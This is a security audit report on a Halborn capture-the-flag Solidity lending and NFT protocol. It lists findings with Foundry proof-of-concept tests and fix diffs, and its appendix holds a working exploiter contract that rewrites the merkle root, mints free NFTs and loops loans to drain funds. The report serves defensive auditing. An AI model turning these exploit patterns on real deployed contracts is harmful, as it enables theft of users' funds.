BELLUM GALAXY

# Table of Contents

▶ Details

See table

# About Patrick (Barba) Carneiro

Solidity Developer, Security Researcher, Founder of Bellum Galaxy and Chainlink Advocate. With three months of programming experience I developed a Top Quality Project at Chainlink Constellation Hackathon. In my first competitive audit, I achieved a Top 5 position. I am a competitive person who daily fights for improvement. Driven by this way of thinking I founded Bellum Galaxy, a educacional community focused on science and technology to help people face life challeges, and grow personally and professionally.

## Disclaimer

The Bellum Galaxy team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | **Impact** | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

NOTE: Given the severity of some issues found in this audit, we adopted a Critical category for four of the findings.

## Protocol Summary

## Audit Details

- **Project Name:**
  - HalbornCTF - Solidity Ethereym
- **Smart Contract Address:**
  - Not deployed
- **Audit Date:**
  - 15/03/2024
- **The findings described in this document correspond the following commit hash:**
  - Commit Hash not specified.

### Scope

```
#-- src
|   #-- HalbornLoans.sol
|   #-- HalbornNFT.sol
|   #-- HalbornToken.sol
```

### Roles

- N/A

# Executive Summary

## Issues found

| Severtity | Number of issues found |
|---|---|
| Critical | 5 |
| High | 4 |
| Medium | 0 |
| Low | 3 |
| Gas | 1 |
| Total | 13 |

# Audit Findings

## Protocol Design Considerations

- **Description:**
  - The protocol design allow users to take loans without obligation to return.
- **Impact:**
  - A malicious users can take advantage of this vulnerability to profit on top of the Buy -> getLoan with fixed Collateral functionalities inflating the token until it became unsustainable and unprofitable.
- **Recommendation:**
  - Consider add an liquidation funcionallity following price variation received from a Chainlink Oracle, for example.

## Critical Severity Vulnerabilities

### Upgradable functionalities are unprotected, leading to potential exploits.

- **Description:**

- All the functions that enable the upgradability are unprotected this could lead to many exploit scenarios in which a malicious user can take advantage of it and, for example, implement a `selfDestruct` function on `HalbornNFT.sol` and use this to push all the ether to his address.
- `HalbornLoans::_authorizeUpgrade`
- `HalbornNFT::_authorizeUpgrade`
- `HalbornToken::_authorizeUpgrade`

- **Impact:**
  - Given the nature of the vulnerability, the protocol would be doomed.
- **Proof of Concept:**
- **Recommendation:**

▶ Please implement the following changes

```diff
  //HalbornLoans.sol
+ import {OwnableUpgradeable} from "openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol";

- contract HalbornLoans is Initializable, UUPSUpgradeable, MulticallUpgradeable, IERC721Receiver {
+ contract HalbornLoans is Initializable, UUPSUpgradeable, OwnableUpgradeable, MulticallUpgradeable, IERC721Receiver {


  function initialize(address token_, address nft_) public initializer {
    __UUPSUpgradeable_init();
    __Multicall_init();
+   __Ownable_init(msg.sender);
    token = HalbornToken(token_);
    nft = HalbornNFT(nft_);
  }

-   function _authorizeUpgrade(address) internal override {}
+   function _authorizeUpgrade(address) internal override onlyOwner {}
```

```diff
  //HalbornToken.sol
-   function _authorizeUpgrade(address) internal override {}
+   function _authorizeUpgrade(address) internal override onlyOwner {}
```

```diff
  //HalbornNFT.sol
```

```diff
-   function _authorizeUpgrade(address) internal override {}
+   function _authorizeUpgrade(address) internal override onlyOwner {}
```

## `HalbornNFT::merkleRoot` state variable can be manipulated because of a lack of access control, leading to a drain of funds.

- **Description:**
  - A malicious user can update the `HalbornNFT::merkleRoot` variable to his advantage, leading to a mint of free NFTs. These NFTs can be used as collateral in `HalbornLoans` and consequently used to mint catastrophic amounts of `HalbornToken`.
- **Impact:**
  - `HalbornToken` can lose value, hurting users and breaking the protocol.
- **Proof of Concept:**

  ▶ Please include the following code and the exploiter contract located at the end of this report in the \`Halborn.t.sol\` file.

```
    function testIfAUserCanExploitIt() public {

        vm.startPrank(Barba);

        exploiter ex = new exploiter(address(nft), address(m), Barba,
address(loans));
        assertEq(nft.balanceOf(address(ex)), 0);
        ex.exploit();
        assertEq(nft.balanceOf(address(ex)), 4);

        assertEq(nft.merkleRoot(), ex.root());
        vm.stopPrank();

        assertEq(nft.balanceOf(ALICE), 0);

        vm.startPrank(ALICE);

        vm.expectRevert("Invalid proof.");
        nft.mintAirdrops(15, ALICE_PROOF_1);

        vm.stopPrank();

        assertEq(nft.balanceOf(ALICE), 0);
    }
```

- **Recommendation:**

  ▶ Please implement the following changes

```diff
-   function setMerkleRoot(bytes32 merkleRoot_) public {
+   function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
        merkleRoot = merkleRoot_;
        emit MerkleRootUpdated(merkleRoot);
    }
```

### `HalbornLoans::getLoan` function implements an inverted check requirement that allows users to get bigger amounts than the collateral allocated previews

- **Description:**
  - `HalbornLoans::getLoan` implements a logic in which a user MUST get loans with a higher value than the collateral previously provided.
- **Impact:**
  - Unlimited amount of `HalbornToken` minted.
- **Proof of Concept:**

  ▶ Please implement the following changes

```
    function testIfRequireWorks() public {
        vm.startPrank(ALICE);
        nft.mintAirdrops(15, ALICE_PROOF_1);
        nft.approve(address(loans), 15);

        loans.depositNFTCollateral(15);

        vm.expectRevert("Not enough collateral");
        loans.getLoan(1 ether);

        loans.getLoan(3 ether);

        assertEq(token.balanceOf(ALICE), 3 ether);
        vm.stopPrank();
    }
```

- **Recommendation:**

  ▶ Please implement the following changes

```diff
    function getLoan(uint256 amount) external {
-       require(totalCollateral[msg.sender] - usedCollateral[msg.sender] <
amount,
+       require(totalCollateral[msg.sender] - usedCollateral[msg.sender] >
amount,
            "Not enough collateral"
```

```
        );
        usedCollateral[msg.sender] += amount;
        token.mintToken(msg.sender, amount);
    }
```

### `HalbornLoans::returnLoan` adds the returned value to storage instead of subtracting, leading to a DoS

- **Description:**
  - Once a user allocates the NFT as Collateral and takes a loan on `HalbornLoans::getLoan` his NFT is locked forever because the `HalbornLoans::returnLoan` function adds the value returned to the storage instead of subtracting growing user debt.
- **Impact:**
  - HalbornToken is burned, and NFT is locked forever. Users lose money.
- **Proof of Concept:**

▶ Please implement the following changes

```
    function testIfUserCanWithdrawTheNft() public {
        vm.startPrank(ALICE);
        nft.mintAirdrops(15, ALICE_PROOF_1);
        nft.approve(address(loans), 15);

        loans.depositNFTCollateral(15);

        loans.getLoan(2.1 ether);

        loans.returnLoan(2.1 ether);

        console.log(loans.totalCollateral(ALICE));
        console.log(loans.usedCollateral(ALICE));

        loans.withdrawCollateral(15);

        vm.stopPrank();
    }
```

- **Recommendation:**

▶ Please implement the following changes

```
    function returnLoan(uint256 amount) external {
        require(usedCollateral[msg.sender] >= amount, "Not enough
collateral");
        require(token.balanceOf(msg.sender) >= amount);
```

```diff
        //usedCollateral is incremented instead of decremented. Token will
be burn, but the collateral will be stuck.
-        usedCollateral[msg.sender] += amount;
+        usedCollateral[msg.sender] -= amount;
        token.burnToken(msg.sender, amount);
    }
```

### Immutable Variable is initialized through the constructor on `HalbornLoans::collateralValue`

- **Description:**
  - The immutable variable `collateralValue` is initiate by a constructor call on the `HalbornLoans.sol`
- **Impact:**
  - Variables initialized through a constructor are only initialized on the implementation contract and don't reflet on the proxy contract. Considering that this is a critical variable for the protocol functionality, the impact is critical.
- **Proof of Concept:**
- **Recommendation:**
  - Move the initialization to the `HalbornLoans::initialize` function.

▶ Please implement the following changes

```diff


-   uint256 public immutable collateralPrice;
+   uint256 public collateralPrice;

-   constructor(uint256 collateralPrice_) {
-     collateralPrice = collateralPrice_;
-   }


    function initialize(uint256 collateralPrice_, address token_, address nft_)
public initializer {
        __UUPSUpgradeable_init();
        __Multicall_init();
+       collateralPrice = collateralPrice_;
        token = HalbornToken(token_);
        nft = HalbornNFT(nft_);
    }

```

## High Severity Vulnerabilities

### Fixed Collateral Prices can lead to price manipulation and inflation.

- **Description:**

  - A fixed collateral value can damage the protocol in two ways, and both have some complications.

        - Token value above the fixed collateral price;
            - A user can take advantage of Fixed Collateral Price and Fixed NFT Price to mint NFTs, allocate them as collateral, and take infinite loans on HalbornLoans until the price drops below a profitable value.
        - Token value below the fixed collateral price;
            - Nobody will invest in the protocol or get loans if it's not a realistic value.

- **Impact:**
    - HalbornToken will be minted without control leading to inflation and price manipulation, hurting users.

- **Proof of Concept:**

  ▶ Please include the following code, and the exploiter contract located at the end of this report, to the `Halborn.t.sol` file.

```
    uint256 constant EXPLOITER_INITIAL_VALUE = 25 ether;
    function testMaliciousUserCanDrainTheProtocolMoney() public{

        exploiter ex = new exploiter(address(nft), address(m), Barba,
address(loans));
        vm.deal(address(ex), EXPLOITER_INITIAL_VALUE);

        assertEq(address(nft).balance, 0);

        ex.drainFundsWithFixedCollateralValue();

        assertEq(address(nft).balance, EXPLOITER_INITIAL_VALUE);

        token.balanceOf(address(ex));
    }
```

- **Recommendation:**
    - Consider utilizing an oracle service like Chainlink Data Feed, insteed of using fixed values.

## `HalbornNFT.sol` and `HalbornLoans.sol` has no access control and can be frontrun.

- **Description:**
    - `HalbornNFT.sol` and `HalbornLoans.sol` can be front-run and initialized by anyone, leading to other exploit scenarios.

- **Impact:**
    - Excluding the upgradability functionality and the complications over the proxy, the protocol could have several problems.

- **Proof of Concept:**

▶ Please include the followin code to `Halborn.t.sol` file

```
    function testIfSomeoneElseCanInitializeTheContracts() public {
        vm.startPrank(BOB);
        bytes32[] memory data = new bytes32[](4);
        data[0] = keccak256(abi.encodePacked(Barba, uint256(10)));
        data[1] = keccak256(abi.encodePacked(Barba, uint256(25)));
        data[2] = keccak256(abi.encodePacked(Barba, uint256(39)));
        data[3] = keccak256(abi.encodePacked(Barba, uint256(41)));

        bytes32 exploiterRoot = m.getRoot(data);

        nft.initialize(exploiterRoot, 1 ether);
        loans.initialize(ALICE, Barba);

        //HalbornToken public token;
        address exploitedToken = address(loans.token());
        //HalbornNFT public nft;
        address exploitedNft = address(loans.nft());

        assertEq(exploitedToken, ALICE);
        assertEq(exploitedNft, Barba);

        vm.stopPrank();
    }
```

- **Recommendation:**
  - Consider create a whitelist of allowed address to initialize the contract or limit it to onlyOwner.

## `HalbornLoans.sol` is not compatible with receiving NFT, leading to DoS.

- **Description:**
  - `IERC721Receiver` interface is not implemented in `HalbornLoans.sol`. The contract is not allowed to manipulate NFTs, leading to a DoS.
- **Impact:**
  - Users who bought the NFT wouldn't be able to use it as collateral and mint `HalbornToken`.
- **Proof of Concept:**

▶ Please implement the following changes

```
    error ERC721InvalidReceiver(address _contract);
    function testIfLoansCanReceiveNFTAsCollateral() public {
        vm.startPrank(ALICE);
        nft.mintAirdrops(15, ALICE_PROOF_1);
        nft.approve(address(loans), 15);
```

```
vm.expectRevert(abi.encodeWithSelector(ERC721InvalidReceiver.selector,
address(loans)));
        loans.depositNFTCollateral(15);
        vm.stopPrank();
    }
```

- **Recommendation:**

  ▶ Please implement the following changes

```
+   interface IERC721Receiver {
+     function onERC721Received(address operator, address from, uint256
tokenId, bytes calldata data) external returns (bytes4);
+    }

-   contract HalbornLoans is Initializable, UUPSUpgradeable,
MulticallUpgradeable {
+   contract HalbornLoans is Initializable, UUPSUpgradeable,
MulticallUpgradeable, IERC721Receiver {

+       function onERC721Received(address, address, uint256, bytes calldata)
external pure returns (bytes4) {
+           return IERC721Receiver.onERC721Received.selector;
+       }
```

`HalbornNFT.sol` owner can withdraw all the ether from the contract, removing the value backing other functionalities.

- **Description:**
  - `HalbornNFT::withdrawETH` function allows the owner to deliberately pull all the ether that is backing the other protocol functionalities, leading to trust-only potential rug-pulls
- **Impact:**
  - Draining all the protocol ether and financially hurt users.
- **Proof of Concept:**

  ▶ Please implement the following changes

```
    uint256 constant VALUE_TO_SIMULATE_NFT_SELLING = 1000 ether;
    function testIfOwnerCanRugTheEthBackingTheNFTsAndToken() public {
        vm.deal(address(nft), VALUE_TO_SIMULATE_NFT_SELLING);

        vm.startPrank(Barba);
        assertEq(Barba.balance, 0);
        nft.withdrawETH(address(nft).balance);
        assertEq(Barba.balance, VALUE_TO_SIMULATE_NFT_SELLING);

        vm.stopPrank();
    }
```

- **Recommendation:**
    - If the protocol owner needs any income or value to cover costs, consider adding a fee over transations. Withdraw over arbitrary value is unsafe.

## Low Severity Vulnerabilities

### Reentrancy Risk. The `HalbornLoans::depositNFTCollateral` doesn't follow CEI patterns

- **Description:**
    - `HalbornLoans::depositNFTCollateral` doesn't follow the CEI pattern of updating storage variables after an external call.
- **Recommendation:**
    - Always follow security patterns such as CEI, layout, variables, and function naming patterns.

### Reentrancy Risk. The `HalbornLoans::withdrawCollateral` doesn't follow CEI patterns

- **Description:**
    - `HalbornLoans::depositNFTCollateral` doesn't follow the CEI pattern of updating storage variables after an external call.
- **Recommendation:**
    - Always follow security patterns such as CEI, layout, variables, and function naming patterns.

### Storage variables updated without event emission

- **Description:**

▶ Instances

```
//HalbornLoans.sol
function depositNFTCollateral
function withdrawCollateral
function getLoan
function returnLoan
```

```
//HalbornNFT.sol
function setPrice
function setMerkleRoot
function withdrawETH
```

```
//HalbornToken.sol
function setLoans
```

- **Recommendation:**
  - Consider adding verbose events to the functions above to facilitate keeping track of state changes.

# Gas Observations

## State Variables

- **Description:**

▶ The following variables could be private to save some gas

```
//HalbornLoans.sol
HalbornToken public token;
HalbornNFT public nft;

uint256 public immutable collateralPrice;

mapping(address => uint256) public totalCollateral;
mapping(address => uint256) public usedCollateral;
mapping(uint256 => address) public idsCollateral;
```

```
//HalbornNFT.sol
bytes32 public merkleRoot;
uint256 public price;
uint256 public idCounter;
```

```
//HalbornNFT.sol
address public halbornLoans;
```

- **Recommendation:**
  - The variables displayed above should be private. If external access is needed, consider creating getters.

# Appendices

## Exploiter Contract Example

Exploiter Contract - Please Include in the `Halborn.t.sol` file.

```
interface IERC721Receiver {
    function onERC721Received(address operator, address from, uint256 tokenId,
bytes calldata data) external returns (bytes4);
}

contract exploiter is IERC721Receiver {
    HalbornNFT immutable nftExploited;
    HalbornLoans immutable loansExploited;
    Merkle immutable m;
    address immutable Barba = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;

    constructor(address _nft, address _merkle, address _barba, address _loans){
        nftExploited = HalbornNFT(_nft);
        m = Merkle(_merkle);
        Barba = _barba;
        loansExploited = HalbornLoans(_loans);
    }

    bytes32[] public EXPLOITER_PROOF_1;
    bytes32[] public EXPLOITER_PROOF_2;
    bytes32[] public EXPLOITER_PROOF_3;
    bytes32[] public EXPLOITER_PROOF_4;

    // Get Merkle Root
    bytes32 public root;

    //manipulating merkle root, and draining funds
    function exploit() public {
        bytes32[] memory data = new bytes32[](4);
        data[0] = keccak256(abi.encodePacked(address(this), uint256(10)));
        data[1] = keccak256(abi.encodePacked(address(this), uint256(25)));
        data[2] = keccak256(abi.encodePacked(address(this), uint256(39)));
        data[3] = keccak256(abi.encodePacked(address(this), uint256(41)));

        root = m.getRoot(data);

        nftExploited.setMerkleRoot(root);

        EXPLOITER_PROOF_1 = m.getProof(data, 0); //to mint the nft
        EXPLOITER_PROOF_2 = m.getProof(data, 1);
        EXPLOITER_PROOF_3 = m.getProof(data, 2);
        EXPLOITER_PROOF_4 = m.getProof(data, 3);

        nftExploited.mintAirdrops(10, EXPLOITER_PROOF_1);
        nftExploited.mintAirdrops(25, EXPLOITER_PROOF_2);
        nftExploited.mintAirdrops(39, EXPLOITER_PROOF_3);
        nftExploited.mintAirdrops(41, EXPLOITER_PROOF_4);
    }

    function drainFundsWithFixedCollateralValue() public {
        uint256 nftId = nftExploited.idCounter()+1;
        for(uint256 i = nftId; i < 26; i++){
            //1. Buy NFT
            nftExploited.mintBuyWithETH{value: 1 ether}();
            //2. gets the approval
            nftExploited.approve(address(loansExploited), i);
            //2. Allocate as collateral
            loansExploited.depositNFTCollateral(i);
            uint256 valueToLoan = (loansExploited.totalCollateral(address(this)) -
loansExploited.usedCollateral(address(this)));
            //3. Get a loan
            loansExploited.getLoan(valueToLoan + 1);
            //4. HalbornToken > Swap > Ether
            //5. Start again
        }

    }

    function triggerSelfDestruct() public {
        selfdestruct(payable(Barba));
    }

    function onERC721Received(address, address, uint256, bytes calldata) external
pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

}
```